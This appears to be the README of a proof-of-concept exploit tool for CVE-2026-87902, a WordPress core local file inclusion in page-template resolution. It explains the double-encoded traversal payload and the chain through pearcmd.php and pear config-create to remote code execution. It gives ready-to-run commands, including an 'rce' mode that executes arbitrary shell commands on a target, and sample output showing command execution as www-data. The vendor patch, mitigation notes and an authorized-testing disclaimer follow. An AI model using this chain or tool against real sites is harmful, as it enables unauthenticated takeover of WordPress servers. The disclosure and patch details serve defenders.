Shell PoC for CVE-2026-87902, an unauthenticated WordPress core LFI via page-template resolution that chains to RCE through pearcmd.php.
| Component | WordPress core (wp-includes/template.php) |
| Type | CWE-98 — PHP file inclusion (LFI → RCE) |
| Affected | WordPress < 7.1.2 (7.0 branch fixed in 7.0.6; 6.x backports branch-dependent) |
| Fixed | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
get_page_template() adds page-{urldecode(pagename)}.php to the page template hierarchy when
the pagename query variable contains percent-encoded characters, and locate_template()
resolves the candidate with file_exists() / require without validating that the path stays
inside the active theme. An unauthenticated attacker can therefore include and execute a chosen
readable local .php file outside the active theme.
Preconditions:
< 7.1.2.page- (e.g. the official
Twenty Fourteen ships page-templates/). The template name is always prefixed with page-,
so the first path component must exist.The payload is double-encoded so that sanitize_title_for_query() preserves the %2e/%2f
octets; urldecode() inside get_page_template() then rebuilds ../ at template-resolution
time.
If the server also has a reachable pearcmd.php and register_argc_argv = On (the default in
the official PHP image), the chain escalates to remote code execution: the query string
becomes CLI argv via + separators, pear config-create writes an attacker-controlled .php
file, and the same LFI includes it.
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
Options: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (or
VDP_AUTHORIZED=1) is required for any mode that may write when the target is not localhost.
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
If the LFI is confirmed but PEAR is absent (or register_argc_argv is Off), the script reports
the precondition clearly and exits without writing anything (exit 3).
page-* theme directory and traversal depth, request
page-<dir>/../../…/wp-includes/version.php through the pagename parameter
(POST, empty body — required because WordPress canonical-redirects GET/HEAD first).200 response with a 0-byte body (vs the multi-KB page baseline) proves the inclusion.pear config-create through the LFI with a self-deleting payload, then
include the written file with a command supplied in the request.Vendor fix in 7.1.2 (wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
plus a realpath() containment check in locate_template()
(_wp_is_template_path_allowed()). wordpress-7.0.6 contains the byte-identical fix.
pagename values containing traversal sequences (.., %2e%2e,
%252e%252e) on every HTTP method, or remove the page-* theme directory precondition.For authorized security testing only. The RCE modes use a self-deleting payload and never write anything beyond their own temporary marker file, but they still execute commands on the target — run them only where you have explicit permission.